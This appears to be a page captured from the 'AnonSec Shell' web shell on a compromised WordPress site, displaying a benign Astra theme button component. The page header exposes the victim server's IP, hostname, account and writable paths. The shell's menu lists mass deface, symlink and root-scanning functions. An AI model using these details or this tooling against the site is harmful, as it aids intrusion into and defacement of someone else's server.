AnonSec Shell
Server IP : 198.54.125.146  /  Your IP : 3.135.228.15   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business38.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : engixevu ( 716)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/engixevu/smartjobbox.com/wp-content/themes/astra/admin/assets/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/engixevu/smartjobbox.com/wp-content/themes/astra/admin/assets/components/ProButton.js
import { __ } from "@wordpress/i18n";
import apiFetch from "@wordpress/api-fetch";
import DOMPurify from "dompurify";
import { classNames, getAstraProTitle, getSpinner } from "@astra-utils/helpers";

const ProButton = ({
	className,
	isLink = false,
	url = astra_admin.upgrade_url,
	children = getAstraProTitle(),
	disableSpinner = false,
}) => {
	const onGetAstraPro = (e) => {
		e.preventDefault();
		e.stopPropagation();

		if (!astra_admin.pro_installed_status) {
			window.open(url, "_blank");
		}

		e.target.innerHTML = DOMPurify.sanitize(
			(disableSpinner ? "" : getSpinner()) +
				astra_admin.plugin_activating_text
		);
		e.target.disabled = true;

		const formData = new window.FormData();
		formData.append("action", "astra_recommended_plugin_activate");
		formData.append("security", astra_admin.plugin_manager_nonce);
		formData.append("init", "astra-addon/astra-addon.php");

		apiFetch({
			url: astra_admin.ajax_url,
			method: "POST",
			body: formData,
		})
			.then((data) => {
				if (data.success) {
					window.open(astra_admin.astra_base_url, "_self");
				}
			})
			.catch((error) => {
				e.target.innerText = __(
					"Activation failed. Please try again.",
					"astra"
				);
				e.target.disabled = false;
				console.error("Error during API request:", error);
				// Optionally, notify the user about the error or handle it appropriately.
			});
	};

	const Tag = isLink ? "a" : "button";

	const linkProps = isLink && {
		role: "button",
		href: url,
		target: "_blank",
		rel: "noreferrer",
	};

	return (
		<Tag
			className={classNames(
				"inline-flex items-center disabled:pointer-events-none",
				className
			)}
			onClick={onGetAstraPro}
			{...linkProps}
		>
			{children}
		</Tag>
	);
};

export default ProButton;

Anon7 - 2022
AnonSec Team